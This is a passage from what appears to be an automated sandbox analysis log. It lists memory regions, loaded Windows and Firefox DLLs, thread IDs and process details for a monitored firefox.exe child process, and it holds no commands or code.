"\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 3104 start_va = 0x7fefadd0000 end_va = 0x7fefaddafff entry_point = 0x7fefadd0000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 3105 start_va = 0x7fefade0000 end_va = 0x7fefadf4fff entry_point = 0x7fefade0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 3106 start_va = 0x7fefae80000 end_va = 0x7fefaed2fff entry_point = 0x7fefae80000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 3107 start_va = 0x7fefafb0000 end_va = 0x7fefafb9fff entry_point = 0x7fefafb0000 region_type = mapped_file name = "nsisvc.dll" filename = "\\Windows\\System32\\nsisvc.dll" (normalized: "c:\\windows\\system32\\nsisvc.dll") Region: id = 3108 start_va = 0x7fefaff0000 end_va = 0x7fefaffafff entry_point = 0x7fefaff0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 3109 start_va = 0x7fefb000000 end_va = 0x7fefb026fff entry_point = 0x7fefb000000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 3110 start_va = 0x7fefb060000 end_va = 0x7fefb0c6fff entry_point = 0x7fefb060000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 3111 start_va = 0x7fefb0e0000 end_va = 0x7fefb0ebfff entry_point = 0x7fefb0e0000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 3112 start_va = 0x7fefb1a0000 end_va = 0x7fefb1b4fff entry_point = 0x7fefb1a0000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 3113 start_va = 0x7fefba20000 end_va = 0x7fefba37fff entry_point = 0x7fefba20000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 3114 start_va = 0x7fefc6f0000 end_va = 0x7fefc6fbfff entry_point = 0x7fefc6f0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3115 start_va = 0x7fefc7c0000 end_va = 0x7fefc7c6fff entry_point = 0x7fefc7c0000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 3116 start_va = 0x7fefc8b0000 end_va = 0x7fefc8cafff entry_point = 0x7fefc8b0000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 3117 start_va = 0x7fefc8d0000 end_va = 0x7fefc8edfff entry_point = 0x7fefc8d0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3118 start_va = 0x7fefca20000 end_va = 0x7fefca29fff entry_point = 0x7fefca20000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 3119 start_va = 0x7fefcb20000 end_va = 0x7fefcb66fff entry_point = 0x7fefcb20000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3120 start_va = 0x7fefcc40000 end_va = 0x7fefcc9afff entry_point = 0x7fefcc40000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 3121 start_va = 0x7fefcdb0000 end_va = 0x7fefcdb6fff entry_point = 0x7fefcdb0000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 3122 start_va = 0x7fefcdc0000 end_va = 0x7fefce14fff entry_point = 0x7fefcdc0000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 3123 start_va = 0x7fefce20000 end_va = 0x7fefce36fff entry_point = 0x7fefce20000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3124 start_va = 0x7fefd3c0000 end_va = 0x7fefd3cafff entry_point = 0x7fefd3c0000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 3125 start_va = 0x7fefd3f0000 end_va = 0x7fefd414fff entry_point = 0x7fefd3f0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3126 start_va = 0x7fefd420000 end_va = 0x7fefd42efff entry_point = 0x7fefd420000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3127 start_va = 0x7fefd430000 end_va = 0x7fefd4c0fff entry_point = 0x7fefd430000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 3128 start_va = 0x7fefd510000 end_va = 0x7fefd523fff entry_point = 0x7fefd510000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 3129 start_va = 0x7fefd530000 end_va = 0x7fefd53efff entry_point = 0x7fefd530000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3130 start_va = 0x7fefd6e0000 end_va = 0x7fefd74afff entry_point = 0x7fefd6e0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3131 start_va = 0x7fefd900000 end_va = 0x7fefd94cfff entry_point = 0x7fefd900000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3132 start_va = 0x7fefd970000 end_va = 0x7fefda78fff entry_point = 0x7fefd970000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3133 start_va = 0x7fefda80000 end_va = 0x7fefdbacfff entry_point = 0x7fefda80000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3134 start_va = 0x7fefdce0000 end_va = 0x7fefdcedfff entry_point = 0x7fefdce0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3135 start_va = 0x7fefdcf0000 end_va = 0x7fefdd60fff entry_point = 0x7fefdcf0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3136 start_va = 0x7fefdd70000 end_va = 0x7fefde38fff entry_point = 0x7fefdd70000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3137 start_va = 0x7fefde40000 end_va = 0x7fefde47fff entry_point = 0x7fefde40000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3138 start_va = 0x7fefebe0000 end_va = 0x7fefec0dfff entry_point = 0x7fefebe0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3139 start_va = 0x7fefed90000 end_va = 0x7fefee6afff entry_point = 0x7fefed90000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3140 start_va = 0x7fefee70000 end_va = 0x7feff072fff entry_point = 0x7fefee70000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3141 start_va = 0x7feff2e0000 end_va = 0x7feff37efff entry_point = 0x7feff2e0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3142 start_va = 0x7feff380000 end_va = 0x7feff456fff entry_point = 0x7feff380000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3143 start_va = 0x7feff540000 end_va = 0x7feff5a6fff entry_point = 0x7feff540000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3144 start_va = 0x7feff5b0000 end_va = 0x7feff648fff entry_point = 0x7feff5b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3145 start_va = 0x7feff830000 end_va = 0x7feff84efff entry_point = 0x7feff830000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3146 start_va = 0x7feff900000 end_va = 0x7feff900fff entry_point = 0x7feff900000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3147 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 3148 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 3149 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 3150 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 3151 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 3152 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 3153 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 3154 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3155 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3156 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 3157 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 3158 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 3159 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 3160 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3161 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 211 os_tid = 0x8d0 Thread: id = 212 os_tid = 0xa94 Thread: id = 213 os_tid = 0x9c0 Thread: id = 214 os_tid = 0x6d8 Thread: id = 215 os_tid = 0x7e0 Thread: id = 216 os_tid = 0x7d0 Thread: id = 217 os_tid = 0x79c Thread: id = 218 os_tid = 0x790 Thread: id = 219 os_tid = 0x78c Thread: id = 220 os_tid = 0x160 Thread: id = 221 os_tid = 0x15c Thread: id = 222 os_tid = 0x130 Thread: id = 223 os_tid = 0x118 Thread: id = 224 os_tid = 0x11c Thread: id = 236 os_tid = 0xa30 Thread: id = 240 os_tid = 0xae4 Thread: id = 241 os_tid = 0xa1c Thread: id = 242 os_tid = 0xaec Thread: id = 243 os_tid = 0xba0 Thread: id = 244 os_tid = 0xa10 Thread: id = 245 os_tid = 0xa00 Thread: id = 247 os_tid = 0xbb4 Thread: id = 248 os_tid = 0xba8 Thread: id = 249 os_tid = 0xba4 Thread: id = 260 os_tid = 0x780 Thread: id = 261 os_tid = 0x2c8 Thread: id = 264 os_tid = 0x484 Thread: id = 269 os_tid = 0x4dc Thread: id = 270 os_tid = 0x8dc Thread: id = 271 os_tid = 0x7d4 Thread: id = 277 os_tid = 0x7fc Process: id = "21" image_name = "firefox.exe" filename = "c:\\program files (x86)\\mozilla firefox\\firefox.exe" page_root = "0x59d63000" os_pid = "0x8a8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0xbe4" cmd_line = "\"C:\\Program Files (x86)\\Mozilla Firefox\\Firefox.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e7e8" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3536 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3537 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3538 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3539 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3540 start_va = 0x60000 end_va = 0x62fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3541 start_va = 0x230000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 3542 start_va = 0x2c0000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 3543 start_va = 0x3c0000 end_va = 0xd83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003c0000" filename = "" Region: id = 3544 start_va = 0x12d0000 end_va = 0x1313fff entry_point = 0x12d0000 region_type = mapped_file name = "firefox.exe" filename = "\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\firefox.exe") Region: id = 3545 start_va = 0x775e0000 end_va = 0x77788fff entry_point = 0x775e0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3546 start_va = 0x777c0000 end_va = 0x7793ffff entry_point = 0x777c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3547 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3548 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3549 start_va = 0xfffb0000 end_va = 0xfffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000fffb0000" filename = "" Region: id = 3550 start_va = 0xfffdb000 end_va = 0xfffddfff entry_point = 0x0 region_type = private name = "private_0x00000000fffdb000" filename = "" Region: id = 3551 start_va = 0xfffde000 end_va = 0xfffdefff entry_point = 0x0 region_type = private name = "private_0x00000000fffde000" filename = "" Region: id = 3552 start_va = 0xfffdf000 end_va = 0xfffdffff entry_point = 0x0 region_type = private name = "private_0x00000000fffdf000" filename = "" Region: id = 3553 start_va = 0xfffe0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x00000000fffe0000" filename = "" Region: id = 3555 start_va = 0x70000 end_va = 0x1e3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 3557 start_va = 0x12d0000 end_va = 0x1313fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000012d0000" filename = "" Region: id = 3559 start_va = 0xed0000 end_va = 0xf4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 3560 start_va = 0x750d0000 end_va = 0x7512bfff entry_point = 0x750d0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3561 start_va = 0x75240000 end_va = 0x7527efff entry_point = 0x75240000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3562 start_va = 0x752d0000 end_va = 0x752d7fff entry_point = 0x752d0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3563 start_va = 0x1090000 end_va = 0x10cffff entry_point = 0x0 region_type = private name = "private_0x0000000001090000" filename = "" Region: id = 3564 start_va = 0x76110000 end_va = 0x76155fff entry_point = 0x76110000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3565 start_va = 0x76540000 end_va = 0x7664ffff entry_point = 0x76540000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3566 start_va = 0x773c0000 end_va = 0x774defff entry_point = 0x0 region_type = private name = "private_0x00000000773c0000" filename = "" Region: id = 3567 start_va = 0x774e0000 end_va = 0x775d9fff entry_point = 0x0 region_type = private name = "private_0x00000000774e0000" filename = "" Region: id = 3568 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3569 start_va = 0xd90000 end_va = 0xdf6fff entry_point = 0xd90000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3570 start_va = 0x741a0000 end_va = 0x7425dfff entry_point = 0x741a0000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\msvcr100.dll") Region: id = 3571 start_va = 0x75310000 end_va = 0x7531bfff entry_point = 0x75310000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3572 start_va = 0x75320000 end_va = 0x7537ffff entry_point = 0x75320000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3573 start_va = 0x75390000 end_va = 0x7542ffff entry_point = 0x75390000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3574 start_va = 0x75510000 end_va = 0x75519fff entry_point = 0x75510000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3575 start_va = 0x755d0000 end_va = 0x7565ffff entry_point = 0x755d0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3576 start_va = 0x758f0000 end_va = 0x759dffff entry_point = 0x758f0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3577 start_va = 0x759f0000 end_va = 0x75a08fff entry_point = 0x759f0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3578 start_va = 0x75b60000 end_va = 0x75bfcfff entry_point = 0x75b60000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3579 start_va = 0x75c00000 end_va = 0x75cabfff entry_point = 0x75c00000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3580 start_va = 0x76380000 end_va = 0x7647ffff entry_point = 0x76380000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3581 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3582 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3583 start_va = 0x210000 end_va = 0x21ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 3584 start_va = 0x10d0000 end_va = 0x1257fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000010d0000" filename = "" Region: id = 3585 start_va = 0x75430000 end_va = 0x754fbfff entry_point = 0x75430000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3586 start_va = 0x75cb0000 end_va = 0x75d0ffff entry_point = 0x75cb0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3587 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3588 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3589 start_va = 0xe90000 end_va = 0xe9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e90000" filename = "" Region: id = 3590 start_va = 0x1320000 end_va = 0x14a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001320000" filename = "" Region: id = 3591 start_va = 0x14b0000 end_va = 0x28affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000014b0000" filename = "" Region: id = 3592 start_va = 0x28b0000 end_va = 0x2a2ffff entry_point = 0x28b0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3593 start_va = 0x758b0000 end_va = 0x758e4fff entry_point = 0x758b0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 3594 start_va = 0x77790000 end_va = 0x77795fff entry_point = 0x77790000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 3595 start_va = 0x1f0000 end_va = 0x1f3fff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 3596 start_va = 0x73ef0000 end_va = 0x73f58fff entry_point = 0x73ef0000 region_type = mapped_file name = "msvcp100.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\msvcp100.dll") Region: id = 3597 start_va = 0x73f60000 end_va = 0x73f81fff entry_point = 0x73f60000 region_type = mapped_file name = "mozglue.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\mozglue.dll") Region: id = 3598 start_va = 0x73f90000 end_va = 0x73f96fff entry_point = 0x73f90000 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\SysWOW64\\wsock32.dll" (normalized: "c:\\windows\\syswow64\\wsock32.dll") Region: id = 3599 start_va = 0x73fa0000 end_va = 0x73fd1fff entry_point = 0x73fa0000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 3600 start_va = 0x73fe0000 end_va = 0x74194fff entry_point = 0x73fe0000 region_type = mapped_file name = "nss3.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nss3.dll") Region: id = 3601 start_va = 0xf50000 end_va = 0x104ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f50000" filename = "" Region: id = 3602 start_va = 0x759e0000 end_va = 0x759ebfff entry_point = 0x759e0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 3603 start_va = 0x76650000 end_va = 0x7676cfff entry_point = 0x76650000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 3604 start_va = 0x2b00000 end_va = 0x2bfffff entry_point = 0x0 region_type = private name = "private_0x0000000002b00000" filename = "" Region: id = 3605 start_va = 0x2c00000 end_va = 0x2ecefff entry_point = 0x2c00000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3606 start_va = 0x73ec0000 end_va = 0x73ee6fff entry_point = 0x73ec0000 region_type = mapped_file name = "softokn3.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\softokn3.dll") Region: id = 3607 start_va = 0x73ea0000 end_va = 0x73eb6fff entry_point = 0x73ea0000 region_type = mapped_file name = "nssdbm3.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nssdbm3.dll") Region: id = 3608 start_va = 0x220000 end_va = 0x226fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 3609 start_va = 0x270000 end_va = 0x271fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 3610 start_va = 0x2ed0000 end_va = 0x32c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002ed0000" filename = "" Region: id = 3611 start_va = 0x73e50000 end_va = 0x73e9efff entry_point = 0x73e50000 region_type = mapped_file name = "freebl3.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\freebl3.dll") Region: id = 3612 start_va = 0x75660000 end_va = 0x756b6fff entry_point = 0x75660000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 3613 start_va = 0x76770000 end_va = 0x773b9fff entry_point = 0x76770000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Thread: id = 288 os_tid = 0x914 [0167.344] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x3bfcb4 | out: HeapArray=0x3bfcb4*=0x1090000) returned 0x3 [0167.351] 